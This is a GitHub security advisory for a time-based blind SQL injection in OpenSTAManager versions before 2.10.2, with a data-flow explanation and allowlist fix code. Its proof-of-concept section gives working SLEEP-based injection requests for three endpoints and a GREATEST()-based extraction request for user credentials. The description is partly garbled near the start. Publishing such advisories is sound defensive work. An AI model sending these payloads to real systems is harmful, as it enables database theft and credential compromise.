GitHub Advisoryadvisory · Packagist
GHSA-3gw8-3mg3-jmpc OpenSTAManager has a Time-Based Blind SQL Injection via `options[stato]` Parameter
HIGH
Official page ↗
- Aliases
- CVE-2026-28805
- Ecosystem
- Packagist
- Packages
- devcode-it/openstamanager
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-89
- Reviewed
- 2026-04-01
Affected packages
• Packagist devcode-it/openstamanager: < 2.10.2 → fixed in 2.10.2
Description
Description
Multiple AJAX select handlers in OpenSTAManager ` to `/ajax_select.php`
2. `ajax_select.php` (line 30) reads the value via `filter('options')`, which applies HTMLPurifier sanitization
3. HTMLPurifier strips HTML tags and the `>` character, but does NOT strip SQL keywords (`SELECT`, `SLEEP`, `IF`, `UNION`, etc.) or SQL-significant characters (`(`, `)`, `=`, `'`, etc.)
4. The sanitized value is passed to `AJAX::select()` in `src/AJAX.php` (line 40)
5. `AJAX::getSelectResults()` assigns `$superselect = $options` (line 273) and `require`s the module's `select.php` file (line 275)
6. The module's `select.php` reads `$superselect['stato']` and concatenates it directly into the `$where[]` array
7. `AJAX::selectResults()` joins all WHERE elements with `AND` and executes the query via `Query::executeAndCount()` (line 120)
Why HTMLPurifier is Insufficient
HTMLPurifier is an HTML sanitization library designed to prevent XSS attacks. It is not an SQL injection prevention mechanism. Specifically:
• It does not strip SQL keywords: `SELECT`, `SLEEP`, `IF`, `UNION`, `FROM`, `WHERE`
• It does not strip SQL operators: `=`, `(`, `)`, `,`, `+`, `-`, `*`
• It strips the `>` character (used in HTML), which can be bypassed using MySQL's `GREATEST()` function
• It provides zero protection against SQL injection
Proof of Concept
Prerequisites
• A valid user account on the OpenSTAManager instance (any privilege level)
• Network access to the application
Step 1: Authenticate
```
POST /index.php HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
op=login&username=&password=
```
Save the `PHPSESSID` cookie from the `Set-Cookie` response header.
Step 2: Verify Injection (SLEEP test)
Baseline request (normal response time ~200ms):
```
GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=is_pianificabile HTTP/1.1
Host:
Cookie: PHPSESSID=
```
Injection request (response time ~10 seconds):
```
GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)+AND+(1 HTTP/1.1
Host:
Cookie: PHPSESSID=
```
Expected result: The response is delayed by approximately 10 seconds, confirming that the `SLEEP(10)` function was executed by the database server. The response body in both cases is identical: `{"results":[],"recordsFiltered":0}`.
Step 3: Data Extraction (demonstrating impact)
Using binary search with time-based boolean conditions, an attacker can extract arbitrary data. The `>` character is stripped by HTMLPurifier, so the `GREATEST()` function is used as an equivalent:
Extract username length:
```
GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(IF((GREATEST(LENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1)),3%2B1)%3DLENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1))),SLEEP(2),0)))a)+AND+(1 HTTP/1.1
```
This technique was used to successfully extract:
• Username: `admin` (5 characters, extracted character by character)
• Password hash prefix: `$2y$10$qAo04wNbhR9cpxjHzrtcnu...` (bcrypt)
• MySQL version: `8.3.0`
PoC for Other Endpoints
Ordini (orders):
```
GET /ajax_select.php?op=ordini-cliente&options[idanagrafica]=1&options[stato]=is_fatturabile+%3D+1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+1 HTTP/1.1
```
Contratti (contracts):
```
GET /ajax_select.php?op=contratti&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+(1 HTTP/1.1
```
Both endpoints show the same SLEEP-based timing delay, confirming the injection.
Impact
• Confidentiality: An attacker can extract the entire database contents, including user credentials (usernames and bcrypt password hashes), personal identifiable information (PII), financial records (invoices, quotes, contracts, payments), and application configuration.
• Integrity: With MySQL's `INSERT`/`UPDATE` capabilities via subqueries, an attacker may be able to modify data.
• Availability: An attacker can execute `SLEEP()` with large values or resource-intensive queries to cause denial of service.
Proposed Remediation
Option A: Allowlist Validation (Recommended)
Replace the direct concatenation with an allowlist of permitted column names:
```php
// modules/preventivi/ajax/select.php — FIXED
$allowed_stati = ['is_pianificabile', 'is_completato', 'is_fatturabile', 'is_concluso'];
$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)
? $superselect['stato']
: 'is_pianificabile';
$where[] = '('.$stato.' = 1)';
```
```php
// modules/ordini/ajax/select.php — FIXED
$allowed_stati = ['is_fatturabile', 'is_evadibile', 'is_completato'];
$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)
? $superselect['stato']
: 'is_fatturabile';
$where[] = '`or_statiordine`.'.$stato.' = 1';
```
```php
// modules/contratti/ajax/select.php — FIXED
$allowed_stati = ['is_pianificabile', 'is_completato', 'is_fatturabile'];
$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)
? $superselect['stato']
: 'is_pianificabile';
$where[] = '`idstato` IN (SELECT `id` FROM `co_s…
Related
Alias · CVE (1)
- CVE-2026-28805 OpenSTAManager is an open source management software for technical assistance and invoicing. vulnerability
Weakness · CWE (1)
- CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness
References
- https://github.com/devcode-it/openstamanager/security/advisories/GHSA-3gw8-3mg3-jmpc web
- https://nvd.nist.gov/vuln/detail/CVE-2026-28805 advisory
- https://github.com/devcode-it/openstamanager/commit/50b9089c506ba2ca249afb1dfead2af5d42c10e7 web
- https://github.com/devcode-it/openstamanager/commit/679c40fa5b3acad4263b537f367c0695ff9666dc web
- https://github.com/devcode-it/openstamanager package
- https://github.com/devcode-it/openstamanager/releases/tag/v2.10.2 web